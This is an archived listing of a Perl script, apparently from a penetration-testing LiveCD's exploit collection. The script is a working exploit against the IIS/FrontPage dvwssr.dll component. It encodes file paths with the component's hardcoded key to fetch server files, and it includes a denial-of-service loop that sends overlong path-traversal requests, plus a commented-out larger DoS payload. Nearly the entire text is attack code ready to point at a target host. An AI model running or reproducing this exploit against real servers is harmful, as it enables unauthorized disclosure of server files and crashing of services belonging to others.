home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / dvwssr.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  82 lines

  1. #!/usr/bin/perl
  2. # dvwssr.pl DEMONSTRATION by rain forest puppy
  3. #
  4. # rfp@wiretrip.net / www.wiretrip.net/rfp/
  5. #
  6. # usage:  ./dvwssr.pl <target host> <file to request>
  7. #
  8. # example:  ./dvwssr.pl localhost /default.asp
  9.  
  10. use Socket;
  11.  
  12. $ip=$ARGV[0];
  13. $file=$ARGV[1];
  14.  
  15. print "Encoding to: ".encodefilename($file)."\n";
  16.  
  17. $DoS=0;  # change to 1 to run the denial of service code
  18.  
  19. if($DoS==0){ # regular request
  20.  
  21. $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
  22.         " HTTP/1.0\n\n";
  23. print sendraw($url);
  24.  
  25. } else {# denial of service - this is crud that I used to make it 
  26.         # crash on accident.  The code was for testing something
  27.         # else.  I provide it as-is so you can reproduce exactly
  28.         # what I was doing.
  29.  
  30.  for($x=206;$x>0;$x--){
  31.   $B='A'x $x;
  32.   $file="/$B/..".$file; print "$x ";
  33.   $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
  34.         " HTTP/1.0\n\n";
  35.   print sendraw($url);
  36.  }
  37.  
  38. # another DoS in the script; uncomment if you're a DoS kiddie.
  39.  
  40. #  $B='A'x 10000;
  41. #  $file="/$B/../die.asp";
  42. #  $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
  43. #       " HTTP/1.0\n\n";
  44. #  print sendraw($url);
  45.  
  46. }
  47.  
  48. sub encodefilename {
  49. my $from=shift;
  50. my
  51. $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  52. my $key="Netscape engineers are weenies!";
  53. my $kc=length($from)%31; # this was fixed to include the '%31'
  54. my ($fv,$kv,$tmp,$to,$lett);
  55. @letts=split(//,$from);
  56.  foreach $lett (@letts){
  57.   $fv=index $slide, $lett;
  58.   $fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
  59.   $kv=index $slide, substr $key, $kc, 1;
  60.   if($kv>=0 && $fv>=0){
  61.    $tmp= $kv - $fv;
  62.    if($tmp <0){$tmp +=62;}
  63.    $to.=substr $slide, $tmp,1; } else {
  64.    $to.=$lett;}
  65.   if(++$kc >= length($key)){ $kc=0;}
  66.  }return $to;}
  67.  
  68. sub sendraw {
  69.         my ($pstr)=@_;
  70.         my $target;
  71.         $target= inet_aton($ip) || die("inet_aton problems");
  72.         socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
  73.         if(connect(S,pack "SnA4x8",2,80,$target)){
  74.                 select(S);              $|=1;
  75.                 print $pstr;            my @in=<S>;
  76.                 select(STDOUT);         close(S);
  77.                 return @in;
  78.         } else { die("Can't connect...\n"); }}
  79.  
  80.  
  81.  
  82.